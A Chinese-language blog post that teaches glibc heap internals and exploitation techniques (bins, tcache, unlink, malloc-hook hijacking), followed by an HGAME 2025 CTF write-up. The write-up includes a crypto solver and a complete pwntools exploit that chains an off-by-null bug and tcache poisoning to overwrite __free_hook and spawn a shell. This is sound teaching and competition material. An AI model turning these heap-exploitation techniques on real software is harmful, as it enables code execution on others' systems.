CTF PWN中的堆不是我们所了解的数据结构，而是一块动态分配的空间 不同于加载进内存就会出现的栈，堆是由malloc等分配函数分配后才会出现的，并且 从低地址向高地址生长，以下所讲的都是linux下的堆分配知识

对堆的操作由堆管理器(ptmalloc2)实现，之所以不是操作系统内核，是因为每一次程序申请或释放堆时都需要系统调用，频繁进行堆操作会严重影响性能

这就是一个基础堆的结构

pre size字段只在前面一个堆块空闲会有指向，若前一个堆块在使用则其为0
size用于指示当前堆块大小，最后三位为3个flag值

NON_MAIN_ARENA chunk是否位于主线程 IS_MAPPED 当前chunk是否由mmap分配 PREV_INUSE 前一个chunk是否被分配，被分配则为1

综上，pre size和size都可用于判断前一个堆块是否释放，malloc函数分配到的内存的返回值指针指向user data 而在chunks有前后连接的时候会变成如下

举例

malloc(8) 在64位中实际上分配到0x21的大小 16+8+8+1
第一个16字节是系统分配最小内存，即如果我们申请内存比其还小就自动申请这么大的内存，即使malloc(0)也会分配（32位是8字节）第二个8字节为presize大小
第三个8字节为size大小
最后1字节为prev_inuse
而调用malloc函数最后给我们返回一个指向user data的指针

指针表示和链表

IDA中一般表示为*(addr+8)，取到addr+8偏移位置存储的值，汇编中一般可以看到mov rax,[地址+偏移] —->链表堆题常有一个菜单系统，用链表相连后我们便可以常看note大小属性等来调整堆空间

一般来说地址+偏移存储各个属性并用链表相连后就可以在不连续的内存空间中将note结构完整的保存下来了

实例

自己写个程序 gcc -g -o test test.c 然后gdb调试

OK这里还没执行malloc，所以vmmap我们看不到heap段，n单步执行后再次查看，

成功看到heap

1
2
3
4


pwndbg> p/x 0x55555557a000-0x555555559000
$2 = 0x21000
pwndbg> p/d (0x55555557a000-0x555555559000)/1024
$5 = 132

132kb的大小远大于10字节，这就是main arena 即内核批发给ptmalloc2的货物大小，之后程序如果要申请小内存直接在这之中取即可，我们可以查看一下堆空间

上面四个是堆我们所申请到的堆空间下面是top chunk

top chunk

堆中第一个堆块，程序以后分配到的内存放到他后面，系统中free chunk不足用其补充chunk

Bins

free()函数和bins分配紧密关联，free后堆块user data被清空，然后堆块指针存储到main_arena中，或者说 ——fast bin

Fast bin

概念：为了快速重新分配回内存的结构，我们分配一块小的内存的时候，会检测fast bin中是否存有小chunk，若存在则从fast bin移除然后返回
fast bin个数为10
fast bin用单链表来维护一系列释放的堆块，实现 快速的小内存分配和释放由释放晚的堆块指向释放早的堆块且不会对free chunk合并（0x20Bytes-0x80Bytes)

看图可知后进先出(LIFO)，先使用第二次的堆块，移除后根据fd所指的前一个堆块（bk指向后一个堆块） main_arena指向fastbin的头部，用于更新指向下面这个堆块若chunk为末尾块，fd=NULL，表示列表的末尾。
搜索的过程为tcachebin->fastbin->unsortedbin->top chunk

free操作：主要分为两步：先通过chunksize函数根据传入的地址指针获取该指针对应的chunk的大小；然后根据这个chunk大小获取该chunk所属的fast bin, 然后再将此chunk添加到该fast bin的链尾即可。整个操作都是在int freel函数中完成.

small bin

概念：small bin空间大于fast bin（小于0x400)
不同于fast bin，其为双向链表循环链表结构，最多62个（每个bin会存储固定大小的chunk，同时步长在8-16字节。头部同样位于main_arena，采用先进先出（FIFO）进行操作

free操作：释放时会检查相邻 chunk 是否空闲，若空闲则合并两个small bins, 加入到unsorted bin

Unsorted bin

概念：unsorted bin 会对堆中碎片chunk合并来减少堆中的残渣（前提是系统没有将这些chunk添加到对应的bins中，chunk不在fastbin范围、或者tcache存在的情况下（tcache已满且块超出tcache大小范围）
只存在一个，它由双向循环链表对chunk连接（因为是拼接的chunk嘛）用fd bk指针进行前后的chunk的指向。任何大小的chunk都可以进入，以FIFO遍历
作用：通过”glibc malloc“有第二次机会重新利用最近刚释放的chunk（第一次在fastbin机制中），由此加快内存分配和操作

Large bin

概念：大于0x400的堆块会分配到Large bin中, ，large bin在保存固定size的同时可以保存一系列的sizes(比如0x400 to 0x430 sized chunks are linked into the same large bin)
存在63个（NLARGE_BINS = 63），每个bin会存储一个范围内的Bin; 双向循环链表，会按照大小进行排序，相同时则最先释放靠前
其特殊的地方还添加了（fd_nextsize 和 bk_nextsize），它们仅存在于每个 largebin 的第一个元素中。而nextsize的指针会构成另一个双向循环链表; 此外，malloc 仅当块是 largebin 中的最后一个块时，才会分配带有指针（跳过列表指针）的块nextsize，以避免更改多个指针。

free类似small bin

tcache bin

tcache bin利用总结（看雪）

概念：即Thread Local CacheGlibc2.26以及之后，glibc引入tcache机制，使得多线程下堆分配可以有更高的效率，tcache有着类似fast bin的单链表结构且作用也与fast bin相似，不会被合并，优先分配（但数量比fast bin多且线程更为安全）其效果也类似，释放的chunk会优先考虑放入
TCACHE_MAX_BINS的限制使得0x400以上chunk不会放入

每条链子上的mp_.tcache_count限制最多的chunk（默认7）
同时tcache_entry *e=(tcache_entry *)chunk2mem(chunk);的chunk2mem宏i使得tcache链表串起了对应chunk的userdata位置

共有64个固定大小tcache bin，且为线程专有

需要注意的是，当chunk从fast-/small bins 分配的时候，malloc会将残留的free chunk塞入到线程进行相应的tcachebin直到填满; 对unsorted bin来说也是相似的，任何相似的chunk 符合size要求的都会被放入tcache bin, 如果满了就寻找其他符合需求的chunk in unsorted bin，我们也就分配到了这个chunk;而如果我们扫描完了unsorted bin有>=1的chunk(s)进入了tcache，则从tcache分配

Bins的完整工作流程

分配内存（malloc）：
- 检查 tcache → fast bins → small bins → unsorted bin → large bins → top chunk → 系统调用新的。
释放内存（free）：
- 若为 tcache 大小，插入 tcache。
- 否则插入 fast bins（不合并）或 unsorted bin（尝试合并）。

看how2heap例题进行demo测试

Unlink

在分配/释放的过程中,chunks 或许会被从存储的bin中unlink（即与存储链表失去了连接而成为迷失内存）——这些unlinked chunk就会被称为victim

fast or tcache bin （LIFO 单链表）

在fast/tcache bin中，unlink是很简单的，因为他们为LIFO结构（Last in First Out）
我们原本是 main arena->A fd->B fd-> C fd->NULL ，将A fd复制到链表头部，就跳过A，A is unlinked

small or Unsorted bin or large bin（双向链表）

节点通过 fd（指向下一个）和 bk（指向上一个）链接。
因此我们部分解除链接：

通过 victim 的 bk 找到前一个块（prev）和后一个块。
将victim 的后一个chunk bk指向前一个chunk
将prev chunk的fd指向后一个块例如 main_arena <-> A <-> B <-> C，要移除 B 时我们就改A fd和C bk断链结果上来看我们使了一个巧，通过修改相邻指针B is unlinked

我们不难发现，victim的fd和bk都不变化，而我们就可以利用这点泄漏

libc 地址
- P 位于双向链表头部，bk 泄漏
- P 位于双向链表尾部，fd 泄漏
- 双向链表只包含一个空闲 chunk 时，P 位于双向链表中，fd 和 bk 均可以泄漏
泄漏堆地址，双向链表包含多个空闲 chunk
- P 位于双向链表头部，fd 泄漏
- P 位于双向链表中，fd 和 bk 均可以泄漏
- P 位于双向链表尾部，bk 泄漏

Remaindering

remainder简单来说就是将一个块进行拆分为两部分：请求大小的块和剩余部分。剩余部分便会因此进入到unsorted bin。剩余操作可以发生在三个阶段：

从large bin分配时
binmap搜索时
从unsorted bin扫描到last remainder，即上次分割的剩余部分： 1. 若last remainder且大小>=请求大小+MINSIZE - 分配给用户 - 剩余部分成为新的last remainder` 2. 若不匹配就继续搜索

Exhausting

如在unsorted bin请求一个大小为N的块，但只找到了N+0x10大小的块。所以0x10的大小是没有用的，但是malloc还是会消耗掉这N+0X10的内存大小来分配N

Consolidation

合并就是将堆上至少两个空闲块合并为一个更大的空闲块，以避免碎片化。
同时与顶部块相邻的块的合并也值得注意。

malloc hooks

一系列的特殊hooks会为house of IO以及其他利用技术提供非常重要的帮助，下面为一系列典例

由于使用上的危险，下面的举例已在GLIBC >= 2.34 中删除。

__malloc_hook / __free_hook / __realloc_hook：位于GLIBC 的 writable 段（如 libc.so 的 .data 或 .bss
作用：默认设置为NULL，在调用GLIBC时默认实现，若非NULL则会调用hook指向的函数——比如覆盖hook执行one_gadget或shellcode，使得调用malloc/free 时执行任意代码
例如*(__malloc_hook)=(void*)system;malloc("/bin/sh"); 拿到shell
__after_morecore_hook：
作用：当 sbrk() 请求更多内存后调用。在堆扩展时我们可以劫持到堆扩展时的回调
__malloc_initialize_hook：
作用：malloc 首次初始化时调用（仅一次）。可以在首次调用malloc前触发（条件较为苛刻）
__memalign_hook：
作用：When set and aligned_alloc(), memalign(), posix_memalign()，or valloc()被调用时，这些所指函数的指针地址会存储在hook并被调用
__dl_open_hook：
作用：当GLIBC中触发打印回溯的错误信息的时候——典例为backtrace_and_maps()会调用到这个hook打印stderr追踪。结构：
1 2 3 4

struct dl_open_hook { void *(*dlopen_mode)(const char *, int); void *(*dlsym)(void *, const char *); };

举例：abort()触发了__backtrace()->init()->__libc_dlopen()的链子我们有以下思路

覆盖 _dl_open_hook 指向攻击者控制的内存。
伪造 dlopen_mode 和 dlsym 指针（如指向 system）。
触发 abort() 或内存错误时执行任意函数。

堆溢出

所谓堆溢出就是向某个堆块中写入的字节数超过了堆块本身可使用的字节数（之所以是可使用而不是用户申请的字节数，是因为堆管理器会对用户所申请的字节数调整，实际总是更大的），因而导致了数据溢出，并覆盖到物理相邻的高地址的下一个堆块。

堆溢出前提

程序向堆上写入数据
可以操控写入数据大小

问题是堆上没有返回地址等可以操控的数据，所以堆溢出 如何getshell？

覆盖与其相邻（物理上）的下一个chunk
利用堆的机制来任意地址写，或控制堆块内容来控制程序流

参考：overvie_of_glibc_heap

Hgame2025_week2_题解

Fri, 21 Feb 2025 21:32:00 +0000

摆了，共做出4道，所以pwn就放着了

misc

computer_cleaner_plus

CentOS7虚拟机，只有终端

题目说 自己的电脑还在遭受黑客的控制

于是看下进程，发现ps指令运行不了

修改执行权限后，运行成功这个elf文件就是后门文件

hgame{B4ck_D0_oR}

crypto

ancient_call

比较无聊，加密方式flag样式都给出了，反向解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


Major_Arcana = ["The Fool", "The Magician", "The High Priestess","The Empress", "The Emperor", "The Hierophant","The Lovers", "The Chariot", "Strength","The Hermit", "Wheel of Fortune", "Justice","The Hanged Man", "Death", "Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun", "Judgement","The World"]
wands = ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands", "Ten of Wands", "Page of Wands", "Knight of Wands", "Queen of Wands", "King of Wands"]
cups = ["Ace of Cups", "Two of Cups", "Three of Cups", "Four of Cups", "Five of Cups", "Six of Cups", "Seven of Cups", "Eight of Cups", "Nine of Cups", "Ten of Cups", "Page of Cups", "Knight of Cups", "Queen of Cups", "King of Cups"]
swords = ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords", "Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords", "Nine of Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of Swords", "King of Swords"]
pentacles = ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four of Pentacles", "Five of Pentacles", "Six of Pentacles", "Seven of Pentacles", "Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles", "Page of Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"]
Minor_Arcana = wands + cups + swords + pentacles
tarot = Major_Arcana + Minor_Arcana

def reverse_step(current):
 v0, v1, v2, v3, v4 = current
 a0 = (v0 - v1 + v2 - v3 + v4) // 2
 a1 = v0 - a0
 a2 = v1 - a1
 a3 = v2 - a2
 a4 = v3 - a3
 if a4 + a0 != v4:
 raise ValueError("Invalid reverse step")
 return [a0, a1, a2, a3, a4]

final_values = [
 2532951952066291774890498369114195917240794704918210520571067085311474675019,
 2532951952066291774890327666074100357898023013105443178881294700381509795270,
 2532951952066291774890554459287276604903130315859258544173068376967072335730,
 2532951952066291774890865328241532885391510162611534514014409174284299139015,
 2532951952066291774890830662608134156017946376309989934175833913921142609334
]

current = final_values.copy()
for _ in range(250):
 current = reverse_step(current)

def get_card(k):
 rev = k ^ -1
 if 0 <= rev < len(Major_Arcana):
 return f"re-{Major_Arcana[rev]}"
 elif 0 <= k < len(Major_Arcana):
 return Major_Arcana[k]
 else:
 index = k % len(tarot)
 return tarot[index]

initial_cards = [get_card(k) for k in current]
flag = "hgame{" + "&".join(initial_cards).replace(" ", "_") + "}"
print(flag)

hgame{re-The_Moon&re-The_Sun&Judgement&re-Temperance&Six_of_Cups}

pwn

Signin2Heap

保护全开

IDA打开查看，菜单题

main函数中增删查三大基本功能

add()中查看，搜索一下——offbynull漏洞，利用思路如下

offbynull可以破坏堆块结构，适当构造出堆块重叠，从而可以uaf
unlink泄露libc后堆块重叠可以修改tcache的fd指针，指向free_hook执行system

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./vuln")
io=remote("node1.hgame.vidar.club",30769)
elf=ELF("./vuln")
libc=ELF('./libc-2.27.so')

se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()

def add(idx,size,content):
 sa(b"choice:",p32(1))
 sla(b"Index: ", str(idx))
 sla(b"Size: ",str(size))
 sa(b"Content: ",content)
def free(idx):
 sa(b"choice:", p32(2))
 sla(b"Index: ", str(idx))
def show(idx):
 sa(b"choice:", p32(3))
 sla(b"Index: ", str(idx))

for i in range(7):
 add(i,0xf8,b"aaaa")
add(7,0xf8,b"aaaa")
add(8,0x88,b"aaaa")#8 注意到add()中末尾有\x00，我们要修改previnuse位
add(9,0xf8,b"aaaa")
add(10,0x88,b"aaaa")
add(11,0x88,b"aaaa")

for i in range(7):
 free(i)
free(8)
free(7)
add(8,0x88,b"a"*0x80+p64(0x90+0x100))
free(9) #unlink

for i in range(7):
 add(i,0xf8,"/bin/sh\x00")

add(7,0xf8,"aaaa")
show(8)


libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
#log.success("libc_base:"+hex(libc_base))
system_addr = libc_base+0x4f420
free_hook = libc_base+0x3ed8e8
add(12,0x88,b"aaaa")
add(9,0xf8,b"aaaa")
for i in range(7):
 free(i)
free(8)
free(7)
add(8,0x88,b"a"*0x80+p64(0x90+0x100))
free(9)

for i in range(7):
 add(i,0xf8,"/bin/sh")

add(13,0x88,b"a"*0x80+p64(0x90+0x100))
free(10)
free(8)
add(8,0x90,p64(0x1111)*12+p64(0x90)+p64(0x10)+p64(free_hook)) #tcache attack

add(9,0xf8,p64(0))
add(10,0x80,p64(0))
add(14,0x80,p64(system_addr))
free(3)

ia()

hgame{suCc3s5FuLIY_EXPlolt_oFF_bY-NuIL1b4a4e}

ps：add()最后一行在末尾加上了\x00，这个操作会检查是否越界，所以可能也可以利用这个\x00修改previnuse位来绕过检查实现堆块重叠，从而可以uaf，堆好难啊学的死去活来的